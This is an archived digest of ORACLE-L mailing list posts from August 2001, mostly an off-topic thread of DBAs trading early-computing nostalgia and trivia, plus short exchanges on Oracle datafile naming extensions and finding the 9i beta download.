Okay, who remembers Fractured Fairy Tales and the Professor and his boy 
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


* * * * * Freedom of Information Act Notice * * * * * 
The information in this email is subject to the record protection mandated
by 5 United States Code 552(b)(4) and relevant judicial opinions. 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Sherman, Edward
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: using ora dbf as datafile extensions

2001-08-02 Thread Gene Sais

good point!  i just changed my redo and control files to the .dbf extension.  luckily, 
my datafiles were already .dbf.

 [EMAIL PROTECTED] 07/31/01 07:30AM 
I do not use the CTL extension for database control
files as it is used by sql*loader control files.

I'm using dbf for all data files including data,
indexes, temp or rbs.  The naming of the files shows
what the file contains.

I do not think different extensions could lead to
problem but I would change it so the naming is
consistent across all databases.

Have a look at Bill Burke's document Putting OFA on
Steroids at www.oracleguru.com 

HTH
 --- O'Neill, Sean [EMAIL PROTECTED] a
écrit :  Saurabh,
 
 My views are that I tend to use datafile extentions
 to reflect the type of
 tablesapces I use in the file or the file type:
 For example:
 .DBF for datafile
 .RBS for Rollback
 .ARC for Archived redo logs  (can confuse Winzip
 utility on Windoze)
 .RDO for Online Redo
 .CTL for control file
 
 In terms of conversion or upgrades they should not
 matter AFAIK as physical
 and logical storage are separate in Oracle.
 
 
 Sean :)
 
 Rookie Data Base Administrator
 Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
 [0%] OCP Oracle8i DBA
 [0%] OCP Oracle9i DBA
   
 Organon (Ireland) Ltd.
 E-mail: [EMAIL PROTECTED]   [subscribed: Digest
 Mode]
 
 Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA 
 
 Nobody loves me but my mother... and she could be
 jivin' too.  - BB King
 
  From: Saurabh Sharma [EMAIL PROTECTED]
  Date: Tue, 31 Jul 2001 12:44:03 +0530
  Subject: using ora  dbf as datafile extensions..
 
 hi all,
 
 is there any problems using different filetypes for
 various datafiles in =
 the same database.
 i mean using some files as .dbf extension while
 some as .ora
 
 i'm using system, rbs, temp, oemrep as .dbf, while
 the one i creted =
 later are using .ora extension.
 does it cause any problem in conversion or
 upgradation.
 
 any views.
 
 Saurabh Sharma
 -- 
 Please see the official ORACLE-L FAQ:
 http://www.orafaq.com 
 -- 
 Author: O'Neill, Sean
   INET: [EMAIL PROTECTED] 
 
 Fat City Network Services-- (858) 538-5051  FAX:
 (858) 538-5051
 San Diego, California-- Public Internet
 access / Mailing Lists


 To REMOVE yourself from this mailing list, send an
 E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of
 'ListGuru') and in
 the message BODY, include a line containing: UNSUB
 ORACLE-L
 (or the name of mailing list you want to be removed
 from).  You may
 also send the HELP command for other information
 (like subscribing). 

=
Stéphane Paquette
DBA Oracle, consultant entrepôt de données
Oracle DBA, datawarehouse consultant
[EMAIL PROTECTED] 

___
Do You Yahoo!? -- Vos albums photos en ligne, 
Yahoo! Photos : http://fr.photos.yahoo.com 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: =?iso-8859-1?q?paquette=20stephane?=
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Gene Sais
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Oracle Beta

2001-08-02 Thread kjanusz

I checked OTN and they have a download for 9i on NT but 
its the Lite version.

Ken Janusz, CPIM
 to be quite honest I can't be sure what it is.  When I hit the link in the
 email it opens up, but before I hit it I have to be logged on as a user with
 privelages to get to it.  I am pretty sure that if you just go to OTN there
 is a link for a sun download?
 KK
 
 -Original Message-
 Dandekar
 Sent: Thursday, August 02, 2001 1:11 PM
 To: Multiple recipients of list ORACLE-L
 
 
 What is it? I mean the URL to 9i Beta for Windows.
 No Sun of Mine (no test sun machine available right now..)
 
 -Rahul
 - Original Message -
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Sent: Thursday, August 02, 2001 12:16 PM
 
 
  Yes I am replying to my own email, nevermind, I found it:)
  KK
 
  -Original Message-
  Kostyszyn
  Sent: Thursday, August 02, 2001 11:11 AM
  To: Multiple recipients of list ORACLE-L
 
 
  Hi all,
  Does anyone know the URL for the Oracle 9i Beta program.  I need to
  download the NT version of 9i.
  Thanks in advance:)
 
  Sincerely,
  Kevin Kostyszyn
  DBA
  Dulcian, Inc
  www.dulcian.com
  [EMAIL PROTECTED]
 
  --
  Please see the official ORACLE-L FAQ: http://www.orafaq.com
  --
  Author: Kevin Kostyszyn
INET: [EMAIL PROTECTED]
 
  Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
  San Diego, California-- Public Internet access / Mailing Lists
  
  To REMOVE yourself from this mailing list, send an E-Mail message
  to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
  the message BODY, include a line containing: UNSUB ORACLE-L
  (or the name of mailing list you want to be removed from).  You may
  also send the HELP command for other information (like subscribing).
  --
  Please see the official ORACLE-L FAQ: http://www.orafaq.com
  --
  Author: Kevin Kostyszyn
INET: [EMAIL PROTECTED]
 
  Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
  San Diego, California-- Public Internet access / Mailing Lists
  
  To REMOVE yourself from this mailing list, send an E-Mail message
  to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
  the message BODY, include a line containing: UNSUB ORACLE-L
  (or the name of mailing list you want to be removed from).  You may
  also send the HELP command for other information (like subscribing).
 
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Rahul Dandekar
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Steve . Parker


Oh, I remember reminiscing !

I was all set to become a vetinary surgeon when I met a Commodore Pet,
running rat trap
and was hooked. That was 25 years ago.

(sounds of sobbing and tears hitting the keyboard)

Steve Parker
Technical Consultant
LIS

 --
Logistics  Internet Systems Ltd.
 --



   

Thater,   

William To: Multiple recipients of list ORACLE-L 
[EMAIL PROTECTED]   
ThaterW@telecc:   

rgy.net Subject: RE: OT -- suggestions to ensure 
nerdiness in potential IT
Sent by: staff 

root@fatcity.  

com

   

   

02/08/2001 

16:01  

Please 

respond to 

ORACLE-L   

   

   





On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter
crayon:

-we called that 52 card pickup -- take deck, throw in air, run like the
devil
-was after us.
-
-I learned EARLY to draw intricate designs on the top of the deck so as to
-make putting it back together simpler.
-
-When projects were due, I'd cut every class but the computer ones, and
stay
-in the computer center until midnight,when they closed. Oh the good old
-days!

i was one of those geeks who could put object decks back in order by hand.;
-)
i still have several boxes of card decks.  the kids like them for
bookmarks.


--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED]

It's got to come from the heart if you want it to work!

If the automobile had followed the same development cycle as the computer,
a Rolls-Royce would today cost $100, get a million miles per gallon, and
explode once a year, killing everyone inside. - Robert X. Cringely

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Thater, William
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).




-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kathy Duret

Yes!  Mr. Peabody, Boris and Natasha... who could forget them...

-Original Message-
Sent: Thursday, August 02, 2001 11:12 AM
To: Multiple recipients of list ORACLE-L


Okay, who remembers Fractured Fairy Tales and the Professor and his boy 
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

Confidential
This e-mail and any files transmitted with it are the property
of Belkin Components and/or its affiliates, are confidential,
and are intended solely for the use of the individual or
entity to whom this e-mail is addressed.  If you are not one
of the named recipients or otherwise have reason to believe
that you have received this e-mail in error, please notify the
sender and delete this message immediately from your computer.
Any other use, retention, dissemination, forwarding, printing
or copying of this e-mail is strictly prohibited.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kathy Duret
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Kevin Lange

Got it all Michael . some day I have to go read the thread from begining
to end

-Original Message-
Sent: Thursday, August 02, 2001 2:10 PM
To: Multiple recipients of list ORACLE-L


I sure hope somebody is capturing this thread!  This is a history of
computing as seen by the people in the trenches!

Now...

 3) What company made the first Portable (luggable) computers?
It was either Kaypro or Osborne.  The Ozzy had a little tiny 40-column
screen and dual 5.25 floppies.  The Kaypro had an 80-column screen
and dual floppies.  

If I remember correctly, Microsoft bought QDOS from Seattle Computer Works 
for around $50k so they could have an O/S for IBM's first PC.  I cannot
remember the name of the guy who owned CP/M, but they would not sign IBM's
non-disclosure agreement, and sent IBM to Gates.  MS had nothing to lose
so they signed and the rest is history.

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 10:41 AM
To: Multiple recipients of list ORACLE-L



 The cartridge that came with the 2600 was COMBAT.  It had a tank game
 and a biplane game.  If they added another cartridge, it must have been
 in the later years.  And the whole package cost $150

Now I remember...

 1) Who started Atari, what else did he start?
 2) What Graphical computer preceeded the Mac?

Lisa, thats easy.  I remember seeing a demo of it.  I was totally amazed.
Everyone was drooling over it.  It was big and expensive, and then the Mac
came out and they were selling like crazy.  Everyone had one except for me.


 CP/M Control Program for Microcomputers - It was the first big OS.
 2.5 What was the first Big Time Word processor that eventually lost out
 to Word?

WordPerfect.  Not sure they lost out.  I believe it was a mix of they didnt
push there Windows version like MS, and then of course, the MS marketing
machine.  They were another company that had 90%+ of the market and thought
they were the king, untoucable and arrogant then along came MS with Word.
Its been the same story over and over with every company that has gone up
against MS.  And Palm/Handspring is next...

 3) What company made the first Portable (luggable) computers?

Oh I cant think of the name.  But the metal case was sort of a greyish blue,
and it had a lid which was the keyboard.  And it had a little monochrome
monitor, and I believe it was 5 1/4 floppy drive.

 The first MAC (128K, 400K floppy) had no handle, I had one(still have
 it)
 4) What was Special about the inside of the Mac case?

It has the signatures of all the creators.

 5) Who wrote QDOS?
 
 sigh, I agree, the good ol' daze




 [EMAIL PROTECTED] 08/02/01 06:57AM 
On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter
crayon:

-Was CP/M the OS that Bill Gates bought just before making his big
deal with
-IBM?  Can't remember.
-
-Regards,
-Patrice Boivin
-Systems Analyst (Oracle Certified DBA)
-
-  -Original Message-
-  CP/M [or is it CPM i've seen it written both ways.]
-
-
AFAIK, no.  it was an OS from a small local company called QDOS [Quick
and
Dirty Operating System] if i'm not suffering from too much bit rot.

CP/M was the other OS in contention.

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Lange
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

heck, I did production work over a 300 baud modem -- the one where you had 
to dial in and then place the handset into the cups :)

and I thought it was the speediest thing ever


From: Seley, Linda [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 10:28:15 -0800

One of those Compaqs was the first portable I took home from work 7 years
ago!  It sat in my basement until 3 years ago when I lugged it back - we
were moving and I didn't want to be responsible for it any more!  (Gosh, a
1200k modem?)

Same company that is *still* using PL/1 as it's mainframe programming
language and APL in the actuarial department.

Linda

-Original Message-
Sent: Thursday, August 02, 2001 10:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is 
a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a 
kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


  I love this stuff(being a nerd wannabe), but I don't have a
  frickin clue
  what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Seley, Linda
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Test message

2001-08-02 Thread JOE TESTA


doh. [EMAIL PROTECTED] 08/02/01 02:28PM 
Too late. -Original Message-Sent: Thursday, 
August 02, 2001 12:47 PMTo: Multiple recipients of list 
ORACLE-LIgnore this message.-- Please see the official 
ORACLE-L FAQ: http://www.orafaq.com-- 
Author: Arich Henneman INET: [EMAIL PROTECTED]Fat City 
Network Services -- (858) 538-5051 FAX: (858) 
538-5051San Diego, California -- 
Public Internet access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).-- Please see the official ORACLE-L 
FAQ: http://www.orafaq.com-- Author: 
Mohan, Ross INET: [EMAIL PROTECTED]Fat City Network 
Services -- (858) 538-5051 FAX: (858) 538-5051San 
Diego, California -- Public Internet 
access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).


RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Kevin Kostyszyn

yeah, that guy is probably kicking himsef.  but probably not as bad as the
boneheads a Xerox!
KK

No offense if someone on this list currently works for, has worked for or
knows someone that works or worked for Xerox, you're not boneheads:)

-Original Message-
Michael (TEM)
Sent: Thursday, August 02, 2001 3:10 PM
To: Multiple recipients of list ORACLE-L


I sure hope somebody is capturing this thread!  This is a history of
computing as seen by the people in the trenches!

Now...

 3) What company made the first Portable (luggable) computers?
It was either Kaypro or Osborne.  The Ozzy had a little tiny 40-column
screen and dual 5.25 floppies.  The Kaypro had an 80-column screen
and dual floppies.

If I remember correctly, Microsoft bought QDOS from Seattle Computer Works
for around $50k so they could have an O/S for IBM's first PC.  I cannot
remember the name of the guy who owned CP/M, but they would not sign IBM's
non-disclosure agreement, and sent IBM to Gates.  MS had nothing to lose
so they signed and the rest is history.

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 10:41 AM
To: Multiple recipients of list ORACLE-L



 The cartridge that came with the 2600 was COMBAT.  It had a tank game
 and a biplane game.  If they added another cartridge, it must have been
 in the later years.  And the whole package cost $150

Now I remember...

 1) Who started Atari, what else did he start?
 2) What Graphical computer preceeded the Mac?

Lisa, thats easy.  I remember seeing a demo of it.  I was totally amazed.
Everyone was drooling over it.  It was big and expensive, and then the Mac
came out and they were selling like crazy.  Everyone had one except for me.


 CP/M Control Program for Microcomputers - It was the first big OS.
 2.5 What was the first Big Time Word processor that eventually lost out
 to Word?

WordPerfect.  Not sure they lost out.  I believe it was a mix of they didnt
push there Windows version like MS, and then of course, the MS marketing
machine.  They were another company that had 90%+ of the market and thought
they were the king, untoucable and arrogant then along came MS with Word.
Its been the same story over and over with every company that has gone up
against MS.  And Palm/Handspring is next...

 3) What company made the first Portable (luggable) computers?

Oh I cant think of the name.  But the metal case was sort of a greyish blue,
and it had a lid which was the keyboard.  And it had a little monochrome
monitor, and I believe it was 5 1/4 floppy drive.

 The first MAC (128K, 400K floppy) had no handle, I had one(still have
 it)
 4) What was Special about the inside of the Mac case?

It has the signatures of all the creators.

 5) Who wrote QDOS?

 sigh, I agree, the good ol' daze




 [EMAIL PROTECTED] 08/02/01 06:57AM 
On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter
crayon:

-Was CP/M the OS that Bill Gates bought just before making his big
deal with
-IBM?  Can't remember.
-
-Regards,
-Patrice Boivin
-Systems Analyst (Oracle Certified DBA)
-
-  -Original Message-
-  CP/M [or is it CPM i've seen it written both ways.]
-
-
AFAIK, no.  it was an OS from a small local company called QDOS [Quick
and
Dirty Operating System] if i'm not suffering from too much bit rot.

CP/M was the other OS in contention.

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread April Wells

my last company still used pdp-11s

-Original Message-
Sent: Thursday, August 02, 2001 1:28 PM
To: Multiple recipients of list ORACLE-L


It was a magical box to a middle-aged me as well and looked much better than
my ugly metallic Kaypro.

-Original Message-
Sent: Thursday, August 02, 2001 11:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
